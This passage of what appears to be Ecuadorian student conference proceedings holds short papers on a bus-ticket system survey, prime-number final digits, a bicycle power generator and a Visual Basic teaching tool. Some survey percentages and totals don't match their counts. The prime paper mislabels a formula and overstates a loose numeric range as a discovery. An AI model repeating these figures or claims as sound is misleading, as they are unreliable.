Respuestas	Cantidad	Total%
Todos los días	300	50%
Regular	170	28%
Solo par de veces	130	22%
Total	600	100%

2.- ¿En qué magnitud cree usted que el sistema de generación de boletos ayudaría a destacar más dicha cooperativa?

TABLA #2

Respuestas	Cantidad	Total
Medianamente	189	31%
Mucho	325	54%
Poco	95	15%
Total	600	100%

3.- ¿Qué le parece la idea de generar una página web donde pueda observar su boleto digital?

TABLA #3

Respuestas	Cantidad	Total
Buena	336	54%
Mala	165	28%
Regular	99	18%
Total	600	100%

4.- ¿Qué le parece la idea de dejar atrás como generaban los boletos, por un sistema computarizado?

TABLA #4

Respuestas	Cantidad	Total
Buena	336	56%
Mala	155	26%
Regular	109	18%
Total	600	100%

5.- ¿Cree que con este sistema no habrá aglomeración de usuarios en días festivos?

TABLA #5

Respuestas	Cantidad	Total
-------------------	-----------------	--------------

Si	450	75%
No	30	5%
Talvez	120	20%
Total	600	100%

4. CONCLUSIONES

- Implementación del sistema desarrollo de boletos tiene un impacto positivo que ayudaría a generar más ingresos a la cooperativa transportista.
- El software tiene ciertas pestañas en las que puede configurarse nuevos buses o nuevos pasajeros de las que posteriormente son manipuladas por las personas que tienen acceso con un usuario y una contraseña del sistema.
- Por medio del sistema generador de boletos en donde estará impuesto el asiento de cada usuario, se ahorrará tiempo al vendedor de boletería.
- Inclusión de una página web, en donde estén suministrados los datos de los usuarios que adquirieron un boleto en dicha cooperativa.

REFERENCIAS BIBLIOGRÁFICAS

Admin. (4 de Noviembre de 2017). Okhosting. Obtenido de <https://okhosting.com/blog/la-importancia-del-software-en-la-sociedad/>

Arguello, P. (14 de Mayo de 2017). Hispano. Obtenido de <https://www.mozilla-hispano.org/por-que-rust-es-el-lenguaje-mas-querido-por-los-desarrolladores/>

Ben Chinowsky. (Noviembre de 2009). Office Microsoft. Obtenido de [https://msdn.microsoft.com/es-es/library/office/ee814734\(v=office.14\).aspx](https://msdn.microsoft.com/es-es/library/office/ee814734(v=office.14).aspx)

BLOG DE LA EDUCACION Y TECNOLOGIA. (Julio de 2014). Word press. Obtenido de <https://educablogti.wordpress.com/2014/07/10/tipos-de-programas-educativos/>

Bustamante, A. (10 de Febrero de 2016). Ioestream Mexico. Obtenido de <https://tesis.ipn.mx/bitstream/handle/123456789/18157/Tesis%20Angel%20Bustamante%20T2.142.pdf?sequence=1&isAllowed=y>

Cedeño, M. M. (22 de Enero de 2018). Aprendizaje de lasl. (J. García, Entrevistador)

Cornejo, M. E., & Valencia, L. R. (21 de Septiembre de 2013). Repositorio ESPAM. Obtenido de

<http://repositorio.esпам.edu.ec/bitstream/42000/88/1/TESIS%20MAR%C3%8DA%20ESTEFAN%C3%8DA%20CORNEJO%20SOL%C3%93RZANO%20-%20LUIGGI%20RAM%C3%93N%20VALENCIA%20V%C3%89LEZ.pdf>

Diario El Comercio. (18 de Julio de 2016). El Comercio. Obtenido de <http://www.elcomercio.com/actualidad/matematica-serbachiller-ecuador-educacion-estudiantes.html>

Flores, J. (Octubre de 2015).Codigo Facilito. Obtenido de <https://codigofacilito.com/articulos/que-es-html>

Grupo Neosistema. (13 de Julio de 2015). Grupo Neosistema. Obtenido de http://www.neosistemassrl.com/neosistemas_15/generales/el-impacto-de-implementar-un-software-de-gestion-de-empresas-en-la-organizacion

Informatica hoy. (18 de Noviembre de 2010). Informatica-hoy. Obtenido de <https://www.informatica-hoy.com.ar/aprender-informatica/Que-es-un-sistema-informatico.php>

Iruela, J. (27 de Enero de 2016). Revista Digital INESEM. Obtenido de <https://revistadigital.inesem.es/informatica-y-tics/que-es-vba/>

Leon, D. (Abril de 14 de 2016). Monografias. Obtenido de <https://www.monografias.com/trabajos94/programacion-c/programacion-c.shtml>

BIOGRAFÍA DEL AUTOR

Junior Ramiro García De La Cruz, Estudiante de la carrera de Ingeniería en tecnologías de la información.

Carlos Bryan Quimis Del Valle, Estudiante de la carrera de Ingeniería en tecnologías de la información.

Jonathan Cecilio Merchán Quimis, Estudiante de la carrera de Ingeniería en tecnologías de la información.

Alexi Hernán Padilla Quijije, Estudiante de la carrera de Ingeniería en tecnologías de la información.

Pascual Ángel Pisco Gómez. Docente de la carrera Tecnologías de la Información de la Universidad Estatal del Sur de Manabí del Cantón Jipijapa, Manabí, Ecuador.

LA DISTRIBUCIÓN PROBABILÍSTICA DE LOS NÚMEROS PRIMO

Brandon Alexis Zambrano Vélez,

Yaritza Dayanara Calderón,

Dr. Alberto Rodríguez, Rodríguez. PhD

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

soloungamer@yahoo.com

RESUMEN

El presente artículo indaga principalmente en el campo de la matemática denominado como “teoría de números” específicamente en la distribución de los números primos, con el objetivo de predecir la cantidad de veces que ocurre el caso en un rango controlado de números primos de que las terminaciones dos números primos seguidos denominadas como e_1 y e_2 pertenezcan al conjunto numérico único $A = \{1, 3, 7, 9\}$ el conjunto es denominado como único debido a que todo número primo de dos cifras o más va a terminar a menudo en un elemento del conjunto. Para entender mejor el objetivo del artículo, se describe el problema al que daría solución el presente artículo: Calcular la cantidad de veces que ocurre el caso de que dos números primos seguidos, el primero termine en 7 y el segundo en 9 en un rango de los primeros 1000 números primos, los métodos utilizados para la elaboración de la investigación fueron básicamente el uso de axiomas y programas de computadoras escritos en el lenguaje de programación C++ que filtraban ideas y comprobaban resultados. El presente artículo tuvo como resultado el descubrimiento de dos fórmulas que predicen el caso descrito de manera probabilista en el rango de primeros números primos especificados concluyendo que la distribución de números primos no es tan aleatoria como se suele pensar si no más bien está apegada resultados probabilísticos.

PALABRAS CLAVE: Computadoras, Distribución de los números primos, Teoría de números.

ABSTRACT

This article inquired mainly in a math field called “Number theory” specifically in the distribution of prime numbers with the objective of predict the quantity of times that a determined case happen, and this determined case is when the last digit of two consecutive primes in a controlled range of prime numbers named as e_1 and e_2 belongs to the unique numeric set $A = \{1, 3, 7, 9\}$. The set is named unique because, all two digit or higher prime number's last

digit is always an element of the set A, in order to get a better understanding of the objective of this article, the problem that is going to be solved by this document is going to be described: Calculate the quantity of times that happen the case that two consecutive prime number's last digit the first one is 7 and the second one is 9 in the range of the first 1000 prime numbers, the methods used to elaborate the research was basically the usage of axioms and computer software written in the C++ programming language that helped to prove the axioms formulated. The results obtained with this article was the discoverment of two equations that predict in a speciflicated range of first prime numbers the quantity of the case described in a probabilistic way. Concluding that the prime numbers distribution is not as random as it is often thought but rather it describes probabilistic results.

KEYWORDS Computers, Number theory, Prime number distribution.

1. INTRODUCCIÓN

Los números primos como sabemos son aquellos que únicamente tienen dos divisores y estos son P y 1, en donde P siempre es un primo. Desde épocas muy antiguas los números primos han sido tema de estudio, debido a que aparentemente no tienen un patrón distinguible a simple vista, incluso algunos piensan que su distribución es aleatoria por lo cual no es posible crear una formula cuya salida sea siempre un numero primo ni mucho menos una función que los describa. El estudio plasmado en el siguiente articulo habla sobre la distribución de los primos pero enfocándose en la cantidad de veces que un evento especificado ocurre en un rango mayor a primeros 1000 primos, respetando ciertos criterios de incremento en el rango, donde el evento describe la continuidad de dos primos terminados en cualquier número del conjunto $A = \{1, 3, 7, 9\}$. Si queremos saber la cantidad de veces que ocurre el caso de que dos números primos seguidos el primero termine en 7 y el segundo termine en 9 en un rango de los primeros 1100 números primos, se tiene primero que definir las “bases fundamentales”. Las bases fundamentales es la cantidad de veces que ocurre el determinado caso tomando dos números del conjunto A (a partir de ahora e1 y e2) en el rango de los primeros 1000 números primos.

2. MATERIALES Y METODOS

Los materiales utilizados en este artículo se basaron principalmente en el uso de axiomas y computadores capaces de correr un software de comprobación.

Método inducción/deducción:

Basándose principalmente en el uso de axiomas para poder describir el problema y su solución

a través de conceptos conocidos en el campo y estableciendo pequeñas pruebas para comprobar coherencia, semántica y concordancia en los resultados.

3. RESULTADOS Y DISCUSIÓN

Los siguientes resultados fueron obtenidos analizando las salidas obtenidas mediante un programa de computadora cuyo algoritmo respeta las ecuaciones descritas en el documento.

Cuando no conocemos N-100:

$$Q(e_1, e_2)[n] = b(e_1, e_2) + (0 \vee 1 \vee 2 \dots \vee \left(\frac{n - 1000}{100} \right) * 17))$$

Donde:

e_1 = Último dígito del primer primo involucrado

e_2 = Último dígito del segundo primo involucrado

n = Rango especificado

Q = Cantidad de casos para tal combinación e_1 y e_2 asignada en el rango n

b = Base fundamental para tal combinación e_1 y e_2

Siempre y cuando:

n Sea mayor que 1000 y tenga un avance de 100 en 100

e_1 Y e_2 pertenezcan a al conjunto numérico $A = \{1, 3, 7, 9\}$

Esta fórmula es capaz de predecir un rango de números en donde se encuentra la cantidad de veces que ocurre el caso para e_1 Y e_2 en el rango n , Pero esta fórmula presenta un problema y es que mientras más separado este el rango de la base fundamental mayor será el rango numérico de posibles resultados, específicamente las veces que se ha incrementado 100 a 1000 para llegar a nuestro rango n multiplicado por 16. Lo cual esta descrito en la formula como $\frac{n-1000}{100} * 17$

Procedamos a realizar una prueba intentando predecir la cantidad de casos para 7 y 9 en el rango 1100

$$Q(7, 9)[1100] = b(7, 9) + (0 \vee 1 \vee 2 \dots \vee \left(\frac{1100 - 1000}{100} \right) * 17))$$

La tabla de posibles valores con esos datos seria:

81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97

Si usamos un programa de computadora que cuente la cantidad de casos en el rango especificado en la formula obtendremos el siguiente resultado

```
8707
8713
8719
8731
8737
8741
8747
8753
8761
8779
8783
8803
8807
8819
8821
8831
El numero de veces que ocurre el caso para 7 y 9 es: 90 en el rango 1100
-----
Process exited after 177.3 seconds with return value 0
Presione una tecla para continuar . . . _
```

Ahora bien cómo podemos apreciar la cantidad correcta se encuentra dentro del rango de valores, en una posición x, esta fórmula describe que la respuesta a menudo estará dentro del rango, pero no se puede asegurar con certeza la posición exacta, veamos otro ejemplo, ahora con el rango de los primeros 1700 números primos.

$$Q(7, 9)[1100] = b(7, 9) + (0 \vee 1 \vee 2 \dots \vee \left(\frac{1700 - 1000}{100} \right) * 17))$$

La tabla de posibles de valores seria:

81
...
...
...
193

Ahora bien, si comprobamos los resultados apreciaremos lo siguiente

```

14341
14347
14369
14387
14389
14401
14407
14411
14419
14423
14431
14437
14447
14449
14461
14479
14489
14503
14519
El numero de veces que ocurre el caso para 7 y 9 es: 133 en el rango 1700
-----
Process exited after 4.865 seconds with return value 0
Presione una tecla para continuar . . . _

```

Efectivamente la respuesta se encuentra dentro del rango de valores proporcionados por la formula.

Cuando conocemos N-100:

$$Q(e_1, e_2)[n] = b(e_1, e_2)[n - 100] + (0 \vee 1 \vee 2 \dots \vee 17)$$

Dónde:

e_1 = Último dígito del primer primo involucrado

e_2 = Último dígito del segundo primo involucrado

n = Rango especificado

Q = Cantidad de casos para tal combinación e_1 y e_2 asignada en el rango n

b = Base fundamental para tal combinación e_1 y e_2 asignada en el rango n

Siempre y cuando:

n Sea mayor que 1000 y tenga un avance de 100 en 100

e_1 Y e_2 pertenezcan a al conjunto numérico $A = \{1, 3, 7, 9\}$

Ahora bien, siempre que conozcamos la cantidad de casos para $n-100$ es decir el rango del cual queremos saber la cantidad de casos menos 100, a menudo obtendremos un rango de valores el cual será igual a la base fundamental de $n-100$ para los correspondiente e_1 y e_2 más 17 en donde se encuentra la cantidad de la respuesta correcta.

Pasemos a ver un ejemplo, viendo el ejemplo de la fórmula anterior sabemos que para los primeros 1700 números primos el caso cuando $e_1=7$ y $e_2=9$ es de 133 así que procedamos a aplicar la fórmula para los primeros 1800 números primos:

$$Q(7, 9)[1800] = b(7, 9)[1700] + (0 \vee 1 \vee 2 \dots \vee 17)$$

$$Q(7, 9)[1800] = 133 + (0 \vee 1 \vee 2 \dots \vee 17)$$

Obteniendo la siguiente tabla de posibles valores:

133
...
...
...

...
149

Ahora apreciemos la comprobación del resultado

```
15287
15289
15299
15307
15313
15319
15329
15331
15349
15359
15361
15373
15377
15383
15391
15401
El numero de veces que ocurre el caso para 7 y 9 es: 139 en el rango 1800
-----
Process exited after 6.016 seconds with return value 0
Presione una tecla para continuar . . .
```

Como se aprecia el resultado se encuentra dentro del rango probabilista, y esto a menudo va a suceder cuando se aplica esta segunda fórmula presentada.

Pasemos a mostrar una adaptación del programa de computadora que realiza el cálculo del rango predictivo de manera secuencial y con cantidades muy grandes.

La estructura del programa será la siguiente:

```
Ingrese el limite: 1000
Ingrese e1: 7
Ingrese e2: 9
Prediccion para 7 y 9 en el rango de 1000 81 + 0 = 81
81 + 1 = 82
81 + 2 = 83
81 + 3 = 84
81 + 4 = 85
81 + 5 = 86
81 + 6 = 87
81 + 7 = 88
81 + 8 = 89
81 + 9 = 90
81 + 10 = 91
81 + 11 = 92
81 + 12 = 93
81 + 13 = 94
81 + 14 = 95
81 + 15 = 96
81 + 16 = 97
El numero de veces que ocurre el caso para 7 y 9 es: 81 en el rango 1000
Reanalizando la prediccion
81 + 0 = 81//
81 + 1 = 82
81 + 2 = 83
81 + 3 = 84
81 + 4 = 85
81 + 5 = 86
81 + 6 = 87
81 + 7 = 88
81 + 8 = 89
81 + 9 = 90
81 + 10 = 91
81 + 11 = 92
81 + 12 = 93
81 + 13 = 94
81 + 14 = 95
81 + 15 = 96
81 + 16 = 97
-----
Process exited after 4.267 seconds with return value 0
```

Como se puede observar primero se realiza la predicción tomando como base que en los 1000 primeros números primos el caso ocurre 81 veces para posteriormente realizar el conteo y por último comprobar si la respuesta se encontraba en el rango y así sucesivamente, cada vez que se realiza el conteo de un nuevo rango se cambia el valor que usamos como base, es decir colocamos $n-100$.

Al final se colocará un contador de cuantas predicciones tenían en su rango el valor correcto.

Ahora bien, probemos con los 5 millones de primeros números primos para 7 y 9. Notaremos que solo existe una no concordancia de 2, por lo que la predicción es bastante cercana.


```

Prediccion para 7 y 9 en el rango de      5000000
380703 + 0 = 380703
380703 + 1 = 380704
380703 + 2 = 380705
380703 + 3 = 380706
380703 + 4 = 380707
380703 + 5 = 380708
380703 + 6 = 380709
380703 + 7 = 380710
380703 + 8 = 380711
380703 + 9 = 380712
380703 + 10 = 380713
380703 + 11 = 380714
380703 + 12 = 380715
380703 + 13 = 380716
380703 + 14 = 380717
380703 + 15 = 380718
380703 + 16 = 380719
380703 + 17 = 380720
El numero de veces que ocurre el caso para 7 y 9 es: 380708 en el rango 5000000
Reanalizando la prediccion
380703 + 0 = 380703
380703 + 1 = 380704
380703 + 2 = 380705
380703 + 3 = 380706
380703 + 4 = 380707
380703 + 5 = 380708//
380703 + 6 = 380709
380703 + 7 = 380710
380703 + 8 = 380711
380703 + 9 = 380712
380703 + 10 = 380713
380703 + 11 = 380714
380703 + 12 = 380715
380703 + 13 = 380716
380703 + 14 = 380717
380703 + 15 = 380718
380703 + 16 = 380719
380703 + 17 = 380720
Veces acertadas 49989 de 49990

```

4. CONCLUSIONES

Ahora bien, como se puede observar en la demostración anterior con los primeros 5 millones de números primos, se tuvo un acierto del 99,99% de las veces, se puede considerar que probablemente la formula necesita cambiar el valor de la constante 17 y que este sea reajustado, para obtener el rango probabilístico correcto.

Bibliografía:

Wikipedia. (29 de 04 de 2017). *Wikipedia*. Recuperado el 29 de 01 de 2019, de <https://es.wikipedia.org/wiki/Primos>

BIOGRAFÍA DEL AUTOR

Brandon Alexis Zambrano Vélez, Estudiante de tercer semestre de la carrera de Tecnología de la Información en la Universidad Estatal del Sur de Manabí, autor de artículo científico en el V congreso internacional de la ingeniería con sede en Colombia – Universidad De Nariño

Yaritza Dayanara Calderón, Estudiante de la carrera de Ingeniería en tecnologías de la información.

Lcdo. Alberto Rodríguez Rodríguez, Ph. D, Doctor en Ciencias Pedagógicas, Magister en Ciencias de la Educación, Licenciado en Educación en Matemática. Docente de la Universidad Estatal del Sur de Manabí.

GENERACIÓN DE ENERGÍA APLICANDO EL MÉTODO ALTERNO

Pin de la Cruz Johana Raquel,

Espinoza Baque Ángel Enrique,

Wagner Elías Almea Pilay,

Dayana Lissette Piguave Peralta,

Lcda. Kirenia Maldonado Zúñiga. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

raquenp123@gmail.com

RESUMEN

La humanidad como primer paso para producir energía utilizó las llamadas energías de sangre que consistían en el uso de animales domésticos y esclavos humanos para trabajar la tierra y cumplir otros fines energéticos, pero fue descartada debido a baja sustentabilidad. Al pasar el tiempo la idea se focalizó en producir energía a través de los recursos naturales disponibles como el viento y el agua, pero estas fuentes de energías cambiaron radicalmente hasta el descubrimiento del vapor, a través de la combustión de madera o carbón. El objetivo de la investigación fue brindar conocimiento de como generar y obtener energía renovable aplicando procesos de una manera veraz. La importancia de la investigación es demostrar como la energía dinámica es la parte de la física que estudia el equilibrio y el movimiento de los cuerpos sometidos a la acción de fuerzas. Al realizar el prototipo de bicicleta este generó energía eléctrica consumible. Los métodos utilizados en la investigación como histórico-lógico, inducción-deducción, análisis-síntesis, método histórico – lógico, método-descriptivo, inducción-deductivo, método-analítico, observación, revisión bibliográfica. Los resultados obtenidos durante esta investigación determinaron que la implementación de nuevas técnicas para crear energía eléctrica, son muy eficaces. Se concluyó que el buen provecho de la energía dinámica mediante un procedimiento que se convirtió en energía eléctrica, siendo una energía limpia y que se produciría a diario, mediante el procedimiento planteado puede ser de utilidad para las personas que viven donde no existe la electricidad.

PALABRAS CLAVE: acción, dinámica, implementación, procreación.

ABSTRACT

Humanity as a first step to produce energy translates into a source of energy that consists of the use of animals, animals and human slaves to work the land and fulfill other energy purposes but was discarded due to low sustainability. Over time, the idea was concentrated on producing energy through natural resources such as wind and water, but these sources of energy changed radically until the discovery of steam, through the combustion of wood or coal. The objective of the research was to provide an understanding of how to generate and obtain renewable energy by applying processes in a truthful manner. The importance of research is to demonstrate how dynamic energy is the part of physics that studies the balance and movement of bodies to the action of forces. When making the bicycle prototype this generated consumable electrical energy. The different methods are used in research as historical-logical, induction-deduction, analysis-synthesis, historical-logical method, descriptive-method, induction-deductive, analytical-method, observation, bibliographic review. The results in this investigation determined that the implementation of new techniques to create electric power, are very effective. It is concluded that the good use of dynamic energy through a process that is converted into electrical energy, being a clean energy and that a newspaper is produced, through the procedure proposed can be useful for people who live where there is no electricity.

KEYWORDS: action, dynamic, implementation, procreation.

1. INTRODUCCIÓN

Históricamente la civilización ha realizado una búsqueda exhaustiva de cualquier fuente de energía disponible. La humanidad como primer paso para producir energía utilizó las llamadas energías de sangre que consistían en el uso de animales domésticos y esclavos humanos para trabajar la tierra y cumplir otros fines energéticos, pero fue descartada debido a baja sustentabilidad. Al pasar el tiempo la idea se focalizó en producir energía a través de los recursos naturales disponibles como el viento y el agua, pero estas fuentes de energías cambiaron radicalmente hasta el descubrimiento del vapor, a través de la combustión de madera o carbón.

Según (Fundacion Tierra, 2016) los sistemas de generación eléctrica con pedaleo parten habitualmente de un principio básico que es producir la electricidad con un generador de corriente continua para que sea almacenada a una batería y de esta ya de forma estabilizada convertirla si es necesario a corriente alterna para alimentar pequeños electrodomésticos caseros. La clave en la conversión eléctrica de la energía del pedaleo está en que el rango de velocidad puede ser muy variable y esto exige, como hemos comentado, el almacenamiento previo.

El prototipo planteado con fundamentos basados en conceptos que se obtuvo de páginas o materiales informativos servirá para brindar conocimiento de cómo obtener energía renovable aplicando procesos físicos de una manera veraz.

La energía dinámica es aquella parte de la física que estudia el equilibrio y el movimiento de los cuerpos sometidos a la acción de fuerzas externas. Este método que emplearemos para aprovechar y lograr la obtención de energía, al proceso a realizar lo llamaremos “prototipo de bicicleta para generación de energía eléctrica” la cual nos ayudará o se convertirá en la matriz para llegar a lo que queremos obtener que es ser productores de energía consumible por medio de este procedimiento y aplicando normas relacionada con otros procedimientos de obtención de energía eléctrica.

Teniendo en cuenta la justificación y objetivos del prototipo en este proyecto planteado y basados en conceptos fundamentados durante investigación científica proporcionara a través de material informativo el cual nos permitió recopilar información.

2. MATERIALES Y MÉTODOS

Se utilizaron métodos de la investigación científica tales como:

Del nivel teórico:

Análisis-síntesis: se utilizó para determinar el uso de energía eléctrica mediante movimiento de los pedales de una bicicleta.

Método histórico – lógico: Se usó en la construcción de la investigación con énfasis en la búsqueda de los antecedentes.

Método-Descriptivo: Permite describir, interpretar, entender la naturaleza y factores que constituyente, las causas y efectos de las transformaciones de las energías y aprovecharlas de una forma eficaz.

Inducción-Deductivo: Utilizada durante la investigación, para estudiar el problema, y mediante los resultados obtenidos poder contribuir a la solución de la problemática planteada.

Método-Analítico: Realizado en los resultados de nuestros datos obteniendo, por medio de este podremos realizar las debidas tabulaciones para el análisis de resultados.

Del nivel Empírico

Observación: Permitió investigar y analizar la mayor parte de la generación de energía renovable.

Revisión bibliográfica: Se utilizó en la recopilación de la información para la elaboración de la investigación, mediante libros, revistas científicas, entre otros.

3. RESULTADOS Y DISCUSIÓN

Los resultados obtenidos durante esta investigación determinaron que la implementación de nuevas técnicas para crear energía eléctrica, son muy eficaces porque es energía es renovable, amigables con el ambiente y lo mas importante no afecta la atmósfera. Además, varias personas se beneficiaron al utilizar esta energía. La utilización de esta energía se evitarían menos consumo de energía eléctrica no emite CO₂ y otros gases a la atmosfera y se Aprovecha la energía dinámica producida para beneficio de la comunidad y así tratar de conservar recursos naturales que están en fase de agotamiento.

4. CONCLUSIONES

Se concluyó con el proceso de esta investigación en la cual se demostró el aprovechamiento de la energía dinámica mediante un procedimiento se convierte en energía eléctrica, siendo una energía limpia y que se produciría a diario, mediante el procedimiento planteado.

A través del método investigativo se pudo determinar que el uso de un prototipo que pueda crear energía eléctrica a travez de una bicicleta puede traer muchos beneficios a la humanidad ya que se había venido utilizando energía eléctrica creada por energías no renovables y plantas nucleares que son perjudicial para la salud y se busca cambiar esa forma de crear energía.

REFERENCIAS BIBLIOGRÁFICAS

- Alay, D. (Mayo de 2015). Diseño de Materiales Multimedia. Obtenido de <http://www.ite.educacion.es/formacion/materiales/107/cd/video/video0103.html>
- Marcillo, J. (12 de Agosto de 2017). CEHIS. Obtenido de <https://cehis.net/sitio/ayuda-video-prototipo/asistencia-y-soporte/base-de-conocimiento-faq/ayuda-video-prototipo/bicicleta>
- Toala, E., Mendoza Leinna, Parada, D., & Aguerrevere, S. (4 de marzo de 2016). Ediciones lidiun. Obtenido de <http://Energia/electrica.blogspot.com/energia Renovables.html>
- Sanzio, R. (13 de Octubre de 2017). CWS. Obtenido de <http://conceptoweb-studio.com>
- Savitz, E. (Julio de 2018). Wikipedia. Obtenido de https://es.wikipedia.org/wiki/Energias_amigables_con_el_ambiente

BIOGRAFÍA DEL AUTOR

Johanna Raquel Pin De la Cruz estudio en la Universidad Estatal del Sur de Manabí, Bachiller en Ciencias en la Unidad Educativa Fiscal “Alejo Lascano” Jipijapa-Manabí-Ecuador.

Ángel Enrique Espinoza Baque estudio en la Universidad Estatal del Sur de Manabí, Bachiller en técnico en administración de sistemas en la Unidad Educativa Fiscal “Alejo Lascano” Jipijapa-Manabí-Ecuador.

Dayana Lisette Piguave Peralta estudio en Universidad Estatal del Sur de Manabí, Bachiller en Ciencias en la Unidad Educativa Fiscal Belisario Quevedo Jipijapa-Manabí-Ecuador

Wagner Elías Almea Pilay estudio en Universidad Estatal del Sur de Manabí, Bachiller en Contabilidad en la Unidad Educativa Fiscal Dr. Eduardo Granja Garcés Pedro-Guayas-Ecuador.

Kirenia Maldonado Zuñiga. Máster en Ciencias de la Educación, Licenciada en Educación Informática, Universidad de Ciencias Pedagógicas, Holguín Cuba.

PROGRAMA INFORMÁTICO DIDÁCTICO BASADO EN VISUAL BASIC

Elvis Stalin Ventura Quimis,

Kevin Paúl Delgado López,

Abel Jahir Castro Delgado,

Fátima Yamileth Pinargote Sánchez,

Ing. Mery Emilia Cedeño Quijije. Mg.

UNIVERSIDAD ESTATAL DEL SUR DE MANABÍ

elvistalin1999@gmail.com,

kevindelgadolopez@gmail.com,

abeljahircasro2000@gmail.com,

yamileth52@outlook.es,

meri_emi@hotmail.es

RESUMEN

El objetivo principal del presente proyecto fue desarrollar un programa informático con fines didácticos dirigido a estudiantes de segundo semestre de la carrera tecnologías de la información. Se resalta la importancia de la teoría, la práctica no podría desarrollarse plenamente y además a esto le agregamos el apoyo de la tecnología resulta un factor determinante dentro del proceso de enseñanza. Se planteó el desarrollo de este proyecto, en muchos casos los estudiantes que están por cursar un nuevo semestre se llenan de ansiedad al no saber con qué asignaturas se van a encontrar en el nuevo nivel, y cuando ya están cursándolo se les dificulta el entendimiento de las materias y les cuesta adaptarse. Por este motivo surgió la idea de desarrollar un programa informático didáctico dirigido a los estudiantes de segundo semestre de la carrera de tecnologías de la información, se pretende brindar con el programa los fundamentos teóricos de las materias que reciban en el tercer semestre de la carrera tecnologías de la información. Para que se llevará a cabo el presente proyecto se analizó las ventajas que tendría su aplicación, y se aplicó los conocimientos adquiridos en base a programación en visual. Se aplicó el método revisión bibliográfica para interpretar o entender la naturaleza y factores que constituyen el funcionamiento del proyecto, se utilizó el método inductivo-deductivo para estudiar el problema, y mediante los resultados obtenidos poder contribuir a la solución de la problemática planteada.

PALABRAS CLAVE: asignaturas, enseñanza, entendimiento, tecnología, teoría

ABSTRACT

The main objective of the present project is to develop a computer program with didactic aims directed to students of the second semester of the race information technologies. The importance of the theory is highlighted, since we know that without it the practice could not be fully developed and if we add to this the support of technology, it is a determining factor in the teaching process. The development of this project was considered since in many cases the students who are about to study a new semester are filled with anxiety when they do not know what subjects they will find in the new level, and when they are already studying it they are difficult to understand of the subjects and find it difficult to adapt. For this reason, arose the idea of developing a didactic computer program aimed at students in the second semester of the career of information technologies, it is intended to provide the theoretical foundations of the subjects they receive in the third semester of the career technologies. of the information. In order to carry out the present project, the advantages of its application were analyzed, and the acquired knowledge was applied based on visual programming. The descriptive method was applied to interpret or understand the nature and factors that constitute the functioning of the project, the inductive-deductive method was used to study the problem, and by means of the results obtained, it could contribute to the solution of the problem posed.

KEYWORDS: subject, teaching, technology, theory, understanding

1. INTRODUCCIÓN

Los programas informáticos didácticos hoy en día son una fuente esencial para cualquier estudiante, ya que ayudan al proceso de enseñanza de una manera fácil y accesible. En ocasiones resulta que se está recibiendo clases, pero por algún descuido no prestamos atención a una clase, o por dicha razón no entendemos un tema, la finalidad de estos programas didácticos es de brindarle al estudiante una fuente rica en conocimientos para que así sean comprendidas y aplicadas a la enseñanza.

La enseñanza como actividad conjunta del maestro y los alumnos se divide en dos procesos relacionados: la enseñanza como la actividad del maestro y la del aprendizaje como la actividad

del alumno. El maestro representa los intereses de la sociedad, y tiene la obligación de enseñar y educar a los escolares. (Duro Novoa & Duro Rodríguez, 2013)

El programa informático didáctico es una herramienta informática que ayuda a integrar las diferentes materias que se establecen en el tercer semestre de la carrera tecnologías de la información las cuales son: Administración de sistemas operativos, Cálculo diferencial e integral, programación II, estructura de datos, estadística y probabilidad, y arquitectura del computador.

Es decir, se trata de un programa ideado para unificar las diferentes materias, en ello encontraremos desde diapositivas, textos y videos explicando cada una de las asignaturas mencionadas, dirigidos a estudiantes de segundo semestre ya que ellos son los que posteriormente ven dichas asignaturas.

2. MATERIALES Y MÉTODOS

Durante la creación del programa informático didáctico se necesitaron varios elementos para poder llevarlo a cabo, todo empezó de una simple idea que ayudará a varios estudiantes al momento de ver materias “nuevas”.

RECURSOS HUMANOS

- Información de Temas de las materias obtenidas en las clases dadas por los profesores.
- Orientaciones al momento de llevar a cabo el proyecto

RECURSOS TECNOLÓGICOS (COMPUTADORAS)

- Lenguaje de Programación Visual Studio
- Computadoras

MÉTODOS

- Método revisión bibliográfica: El presente método habla de el análisis histórico lógico del campo al que pertenece el problema a solucionar para de esta manera determinar los puntos fundamentales y dar una solución eficiente que cubra las necesidades implicadas.
- Método inductivo/deductivo: El método inductivo/deductiva basa su aplicación en el uso controlado de la inducción y deducción para establecer un juicio sobre un criterio existente.

3. RESULTADOS Y DISCUSIÓN

1. ¿Le gustaría saber que materias recibirá en el tercer semestre?

Del 100% de los encuestados el 86% respondió que sí les gustaría saber las materias que recibirán en el tercer semestre mientras que el 14% dijo tal vez, y el 0% respondió no. Es muy importante saber que los estudiantes demuestran interés en saber que materias verán en tercer semestre.

<i>OPCIONES</i>		<i>RESPUESTAS</i>	
2. ¿Cree que teniendo de las materias que vera en el siguiente semestre le dará la posibilidad de prepararse con tiempo?	<i>SI</i>	27	
	<i>NO</i>	4	
	<i>TAL VEZ</i>	6	usted
	<i>TOTAL</i>	42	noción

<i>OPCIONES</i>	<i>RESPUESTAS</i>
<i>SI</i>	36
<i>NO</i>	0
<i>TAL VEZ</i>	6
<i>TOTAL</i>	42

2. ¿Cree usted que teniendo noción de las materias que vera en el siguiente semestre le dará la posibilidad de prepararse con tiempo?

Del 100% de los encuestados el 73% respondió que teniendo noción de las materias a ver en el siguiente semestre se lograran preparar con tiempo mientras que el 16% respondió tal vez y el 11% dijo que no. Resulta interesante saber que un gran porcentaje desea tener idea de las asignaturas de tercer semestre para poder prepararse con tiempo, este resultado es un buen precedente para seguir con el desarrollo favorable del programa.

4. CONCLUSIONES

El programa informático didáctico gracias a su gran sencillez y fácil manejo va a facilitar a los estudiantes de segundo semestre de la carrera tecnologías de la información ver los contenidos de las asignaturas que se impartirán en tercer semestre, esto les va a permitir auto educarse y evitara que a futuro se les dificulte la asimilación de las asignaturas.

5. RECOMENDACIONES

Se recomienda a los estudiantes de segundo semestre este programa ya que tendrán un mayor conocimiento al momento de recibir dichas asignaturas en tercer semestre.

REFERENCIAS BIBLIOGRÁFICAS

Duro Novoa, V., & Duro Rodríguez, D. (2 de Julio de 2013). *gestiopolis*. Obtenido de <https://www.gestiopolis.com/uso-del-software-educativo-en-el-proceso-de-ensenanza-y-aprendizaje/>

Wikipedia. (20 de Enero de 2019). Obtenido de
https://es.wikipedia.org/wiki/Software_educativo

Biografía del autor

